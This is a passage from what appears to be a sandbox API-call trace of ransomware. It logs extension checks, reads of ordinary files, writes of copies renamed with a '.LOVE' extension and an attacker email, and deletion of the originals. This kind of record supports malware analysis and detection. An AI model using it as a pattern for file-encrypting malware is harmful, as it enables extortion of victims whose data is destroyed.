(lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.024] lstrlenW (lpString=".1cd") returned 4 [0195.024] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0195.024] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0195.024] lstrlenW (lpString=".jpg") returned 4 [0195.024] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0195.024] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0195.024] lstrlenW (lpString="eula.rtf") returned 8 [0195.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.205] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=6309) returned 1 [0195.205] CloseHandle (hObject=0x2c4) returned 1 [0195.205] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0195.205] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.205] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.205] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.205] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.205] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.211] GetLastError () returned 0x0 [0195.211] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x18a5, lpOverlapped=0x0) returned 1 [0195.343] WriteFile (in: hFile=0x2e0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x18b0, lpOverlapped=0x0) returned 1 [0195.344] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.344] WriteFile (in: hFile=0x2e0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0195.344] SetEndOfFile (hFile=0x2e0) returned 1 [0195.346] CloseHandle (hObject=0x2e0) returned 1 [0195.347] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.347] SetEndOfFile (hFile=0x2c4) returned 1 [0195.348] CloseHandle (hObject=0x2c4) returned 1 [0195.348] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.348] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0195.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.349] lstrlenW (lpString=".doc") returned 4 [0195.349] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.349] lstrlenW (lpString=".docx") returned 5 [0195.349] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.349] lstrlenW (lpString=".pdf") returned 4 [0195.349] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.349] lstrlenW (lpString=".xls") returned 4 [0195.349] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.349] lstrlenW (lpString=".xlsx") returned 5 [0195.349] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.349] lstrlenW (lpString=".ppt") returned 4 [0195.349] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.349] lstrlenW (lpString=".zip") returned 4 [0195.349] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.349] lstrlenW (lpString=".rar") returned 4 [0195.349] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.349] lstrlenW (lpString=".bz2") returned 4 [0195.349] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.349] lstrlenW (lpString=".7z") returned 3 [0195.349] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.349] lstrlenW (lpString=".dbf") returned 4 [0195.350] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.350] lstrlenW (lpString=".1cd") returned 4 [0195.350] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.350] lstrlenW (lpString=".jpg") returned 4 [0195.350] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.350] lstrlenW (lpString=".doc") returned 4 [0195.350] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.350] lstrlenW (lpString=".docx") returned 5 [0195.350] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.350] lstrlenW (lpString=".pdf") returned 4 [0195.350] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.350] lstrlenW (lpString=".xls") returned 4 [0195.350] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.350] lstrlenW (lpString=".xlsx") returned 5 [0195.350] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.350] lstrlenW (lpString=".ppt") returned 4 [0195.350] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.350] lstrlenW (lpString=".zip") returned 4 [0195.350] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.350] lstrlenW (lpString=".rar") returned 4 [0195.350] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.350] lstrlenW (lpString=".bz2") returned 4 [0195.350] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.351] lstrlenW (lpString=".7z") returned 3 [0195.351] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.351] lstrlenW (lpString=".dbf") returned 4 [0195.351] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.351] lstrlenW (lpString=".1cd") returned 4 [0195.351] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0195.351] lstrlenW (lpString=".jpg") returned 4 [0195.351] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.351] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0195.351] lstrlenW (lpString="LocalizedData.xml") returned 17 [0195.351] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.351] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=80970) returned 1 [0195.351] CloseHandle (hObject=0x2c4) returned 1 [0195.351] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0195.352] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.352] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.352] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.352] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.352] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.352] GetLastError () returned 0x0 [0195.352] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0195.419] WriteFile (in: hFile=0x2e0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13c50, lpOverlapped=0x0) returned 1 [0195.421] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.421] WriteFile (in: hFile=0x2e0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0195.421] SetEndOfFile (hFile=0x2e0) returned 1 [0195.421] CloseHandle (hObject=0x2e0) returned 1 [0195.423] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.423] SetEndOfFile (hFile=0x2c4) returned 1 [0195.425] CloseHandle (hObject=0x2c4) returned 1 [0195.425] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.425] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0195.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.425] lstrlenW (lpString=".doc") returned 4 [0195.425] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.425] lstrlenW (lpString=".docx") returned 5 [0195.426] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.426] lstrlenW (lpString=".pdf") returned 4 [0195.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.426] lstrlenW (lpString=".xls") returned 4 [0195.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.426] lstrlenW (lpString=".xlsx") returned 5 [0195.426] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.426] lstrlenW (lpString=".ppt") returned 4 [0195.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.426] lstrlenW (lpString=".zip") returned 4 [0195.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.426] lstrlenW (lpString=".rar") returned 4 [0195.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.426] lstrlenW (lpString=".bz2") returned 4 [0195.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.426] lstrlenW (lpString=".7z") returned 3 [0195.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.426] lstrlenW (lpString=".dbf") returned 4 [0195.426] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.426] lstrlenW (lpString=".1cd") returned 4 [0195.426] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.426] lstrlenW (lpString=".jpg") returned 4 [0195.426] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.426] lstrlenW (lpString=".doc") returned 4 [0195.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.427] lstrlenW (lpString=".docx") returned 5 [0195.427] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.427] lstrlenW (lpString=".pdf") returned 4 [0195.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.427] lstrlenW (lpString=".xls") returned 4 [0195.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.427] lstrlenW (lpString=".xlsx") returned 5 [0195.427] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.427] lstrlenW (lpString=".ppt") returned 4 [0195.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.427] lstrlenW (lpString=".zip") returned 4 [0195.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.427] lstrlenW (lpString=".rar") returned 4 [0195.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.427] lstrlenW (lpString=".bz2") returned 4 [0195.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.427] lstrlenW (lpString=".7z") returned 3 [0195.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.427] lstrlenW (lpString=".dbf") returned 4 [0195.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.427] lstrlenW (lpString=".1cd") returned 4 [0195.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0195.427] lstrlenW (lpString=".jpg") returned 4 [0195.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.428] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0195.428] lstrlenW (lpString="eula.rtf") returned 8 [0195.428] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.428] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=3314) returned 1 [0195.428] CloseHandle (hObject=0x2c4) returned 1 [0195.428] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0195.428] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.428] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.428] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.428] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.428] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0195.455] GetLastError () returned 0x0 [0195.455] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xcf2, lpOverlapped=0x0) returned 1 [0195.552] WriteFile (in: hFile=0x2e4, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xd00, lpOverlapped=0x0) returned 1 [0195.553] ReadFile (in: hFile=0x2c4, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.553] WriteFile (in: hFile=0x2e4, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0195.553] SetEndOfFile (hFile=0x2e4) returned 1 [0195.553] CloseHandle (hObject=0x2e4) returned 1 [0195.554] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.554] SetEndOfFile (hFile=0x2c4) returned 1 [0195.555] CloseHandle (hObject=0x2c4) returned 1 [0195.555] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.559] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0195.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.559] lstrlenW (lpString=".doc") returned 4 [0195.559] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.559] lstrlenW (lpString=".docx") returned 5 [0195.559] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.559] lstrlenW (lpString=".pdf") returned 4 [0195.559] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.559] lstrlenW (lpString=".xls") returned 4 [0195.559] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.559] lstrlenW (lpString=".xlsx") returned 5 [0195.559] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.559] lstrlenW (lpString=".ppt") returned 4 [0195.560] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.560] lstrlenW (lpString=".zip") returned 4 [0195.560] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.560] lstrlenW (lpString=".rar") returned 4 [0195.560] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.560] lstrlenW (lpString=".bz2") returned 4 [0195.560] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.560] lstrlenW (lpString=".7z") returned 3 [0195.560] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.560] lstrlenW (lpString=".dbf") returned 4 [0195.560] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.560] lstrlenW (lpString=".1cd") returned 4 [0195.560] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.560] lstrlenW (lpString=".jpg") returned 4 [0195.560] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.560] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.560] lstrlenW (lpString=".doc") returned 4 [0195.561] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0195.561] lstrlenW (lpString=".docx") returned 5 [0195.561] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0195.561] lstrlenW (lpString=".pdf") returned 4 [0195.561] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0195.561] lstrlenW (lpString=".xls") returned 4 [0195.561] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0195.561] lstrlenW (lpString=".xlsx") returned 5 [0195.561] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0195.561] lstrlenW (lpString=".ppt") returned 4 [0195.561] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0195.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.561] lstrlenW (lpString=".zip") returned 4 [0195.561] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0195.561] lstrlenW (lpString=".rar") returned 4 [0195.561] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0195.561] lstrlenW (lpString=".bz2") returned 4 [0195.561] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0195.561] lstrlenW (lpString=".7z") returned 3 [0195.561] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0195.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.561] lstrlenW (lpString=".dbf") returned 4 [0195.561] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0195.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.561] lstrlenW (lpString=".1cd") returned 4 [0195.561] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0195.561] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0195.561] lstrlenW (lpString=".jpg") returned 4 [0195.561] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0195.562] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0195.562] lstrlenW (lpString="eula.rtf") returned 8 [0195.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0196.135] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=8876) returned 1 [0196.136] CloseHandle (hObject=0x2c8) returned 1 [0196.136] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0196.136] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0196.136] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.136] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0196.136] GetLastError () returned 0x0 [0196.136] ReadFile (in: hFile=0x2c8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, 